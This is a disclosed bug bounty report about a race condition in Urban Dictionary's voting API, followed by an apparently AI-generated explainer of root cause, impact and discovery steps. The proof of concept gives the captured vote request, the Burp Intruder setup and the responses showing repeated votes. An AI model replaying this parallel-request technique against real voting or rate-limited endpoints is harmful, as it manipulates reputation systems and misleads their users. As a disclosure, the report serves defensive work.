Race condition in up voting and down voting
The voting endpoint accepted multiple simultaneous up-vote requests from the same user, so a single user could vote more than once. An attacker could inflate or deflate a term's score and create fake reputation.
- Triaged in 7 days
- Fixed in 29 days
- Disclosed after 6.9 years
Hi,
I want to report an issue that I have found on http://www.urbandictionary.com/ when a user wants to up vote or down vote a term he simply presses on the up or down button. each user can up vote or down vote a term only once, but I have found that if a parallel threads do the process of up voting then multiple requests will be accepted.
POC
I entered the following term url: http://www.urbandictionary.com/define.php?term=alicia intercepted the request using burp suite and sent it to intruder and set the number of threads to be 11 then started the requests which has the following:
GET /v0/vote?defid=3889203&direction=up&key=ab71d33b15d36506acf1e379b0ed07ee HTTP/1.1 Host: api.urbandictionary.com Cache-Control: max-age=0 Accept: application/json, text/javascript, /; q=0.01 Origin: http://www.urbandictionary.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36 Referer: http://www.urbandictionary.com/define.php?term=alicia Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Connection: close
as a response I got the following responses:
HTTP/1.1 200 OK Connection: close Access-Control-Allow-Methods: GET Access-Control-Allow-Origin: http://www.urbandictionary.com X-License: http://api.urbandictionary.com/ Cache-Control: private Content-Type: application/json; charset=utf-8 Server: Aleph/0.4.1 Date: Mon, 21 Nov 2016 17:24:35 GMT Via: 1.1 vegur Content-Length: 40
{"status":"saved","up":6429,"down":1798}
HTTP/1.1 200 OK Connection: close Access-Control-Allow-Methods: GET Access-Control-Allow-Origin: http://www.urbandictionary.com X-License: http://api.urbandictionary.com/ Cache-Control: private Content-Type: application/json; charset=utf-8 Server: Aleph/0.4.1 Date: Mon, 21 Nov 2016 17:24:35 GMT Via: 1.1 vegur Content-Length: 40
{"status":"saved","up":6430,"down":1797}
HTTP/1.1 200 OK Connection: close Access-Control-Allow-Methods: GET Access-Control-Allow-Origin: http://www.urbandictionary.com X-License: http://api.urbandictionary.com/ Cache-Control: private Content-Type: application/json; charset=utf-8 Server: Aleph/0.4.1 Date: Mon, 21 Nov 2016 17:24:35 GMT Via: 1.1 vegur Content-Length: 40
{"status":"saved","up":6431,"down":1796}
HTTP/1.1 200 OK Connection: close Access-Control-Allow-Methods: GET Access-Control-Allow-Origin: http://www.urbandictionary.com X-License: http://api.urbandictionary.com/ Cache-Control: private Content-Type: application/json; charset=utf-8 Server: Aleph/0.4.1 Date: Mon, 21 Nov 2016 17:24:36 GMT Via: 1.1 vegur Content-Length: 40
{"status":"saved","up":6432,"down":1795}
HTTP/1.1 200 OK Connection: close Access-Control-Allow-Methods: GET Access-Control-Allow-Origin: http://www.urbandictionary.com X-License: http://api.urbandictionary.com/ Cache-Control: private Content-Type: application/json; charset=utf-8 Server: Aleph/0.4.1 Date: Mon, 21 Nov 2016 17:24:36 GMT Via: 1.1 vegur Content-Length: 40
{"status":"saved","up":6433,"down":1795}
which means I can up vote more than once and of course the same applies for down voting which can mislead users and creates fake reputation for the terms created.
thanks.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the server checks whether the user has already voted and then records the vote as separate steps, so concurrent requests all pass the check before any vote is saved.
Impact
A single user could cast many votes, which could mislead users and create fake reputation for terms.
What the attacker needed
Ability to intercept and replay requests
How it was found
- Open a term page and capture the vote request with an intercepting proxy.
- Send the captured request to an intruder-style tool and set it to run many threads at once.
- Fire the parallel requests and observe that each returns a success response with an incremented count.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A site normally lets each person vote once. Here, sending the same vote request many times at once makes several of them count, letting one person push a score up or down repeatedly.
What is Race condition?
Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.